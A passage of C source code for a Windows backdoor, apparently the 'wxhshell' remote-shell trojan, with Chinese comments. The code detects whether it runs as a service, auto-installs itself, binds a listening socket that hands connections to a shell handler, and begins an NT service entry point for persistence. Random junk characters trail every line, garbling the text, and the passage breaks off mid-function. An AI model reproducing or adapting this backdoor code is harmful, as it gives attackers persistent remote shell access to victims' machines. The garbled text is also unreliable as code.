fw(j6:p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {|Mxvp*Hg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M/8#&RycQ
C)&gL=O*$
HANDLE hProcess; M@!]U:5~V
PROCESS_BASIC_INFORMATION pbi; &dZ.+#8r
Pjj;.c 7_j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w{YtTZp3
if(NULL == hInst ) return 0; $.r}g\43P
5H'b4Cyi`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (04j4teE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ru9pb~K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6?<`wGs(
, IMT '*
if (!NtQueryInformationProcess) return 0; EvH(Po h
T_(e(5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .=b
+O~
if(!hProcess) return 0; #RLch
Q8DQ .C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %WJ{IXlz
d 40'3]/{
CloseHandle(hProcess); vZ_DG}n11
W)$|Hm:H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5x1%oC
if(hProcess==NULL) return 0; cOZajC<G
9|G=KN)P:
HMODULE hMod; "b1R5(Ar
char procName[255]; K;ry4/Vap
unsigned long cbNeeded; %`s9yRk9>E
,h wf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ',J%Mv>Yf
-?%{A%'
CloseHandle(hProcess); M$>WmG1~D
1^WA
if(strstr(procName,"services")) return 1; // 以服务启动 QX.F1T2e?
8&2gM
return 0; // 注册表启动 0o"<^]
_|
} vU\w3
qed!C
// 主模块 gE6y&a
int StartWxhshell(LPSTR lpCmdLine) ZZFI\o
{ +}G>M=t::
SOCKET wsl; 2fL88/'
BOOL val=TRUE; k+m_L{#m5
int port=0; ("P mB?20
struct sockaddr_in door; rfZj8R&
BI]ut|Qw
if(wscfg.ws_autoins) Install(); W*/s4 N
RWh}?vs_
port=atoi(lpCmdLine); ^J5V!i$
CK`3
if(port<=0) port=wscfg.ws_port; [Ey%uh
6*
YDzF( ']o:
WSADATA data; ? Ge*~d
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0R^(rE"2#
gZ=9Y:$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MPEBinE?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3v3Va~fm`
door.sin_family = AF_INET; +uGP(ONY
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nTtt$I@hW
door.sin_port = htons(port); I(kIHjV|
A[,"jh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {R8P $
closesocket(wsl); ZwrYss
return 1; )I
UWM
} 7u3b aM
?bYQZJ>&
if(listen(wsl,2) == INVALID_SOCKET) { m=l3O:~J
closesocket(wsl); IEsD=
return 1; +n~rM'^4/
} Qc<O; #
Wxhshell(wsl); Pg8=
WSACleanup(); 8}`8lOE7
.Fz6+m;Z
return 0; *M!YQ<7G^d
|/Q. "d
} Hf]}OvT>Z
AA%g^PWpR
// 以NT服务方式启动 S@2Jj>3D?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NeZYchR
{ Jz8#88cY
DWORD status = 0; TV>R(D3T/
DWORD specificError = 0xfffffff; <?@46d?C
"ZB`fNE
serviceStatus.dwServiceType = SERVICE_WIN32; [ Zqg"`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q9z!g/,d/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _^sSI<&m
serviceStatus.dwWin32ExitCode = 0; #"YWz)8
serviceStatus.dwServiceSpecificExitCode = 0; ?-v?SN#
serviceStatus.dwCheckPoint = 0; <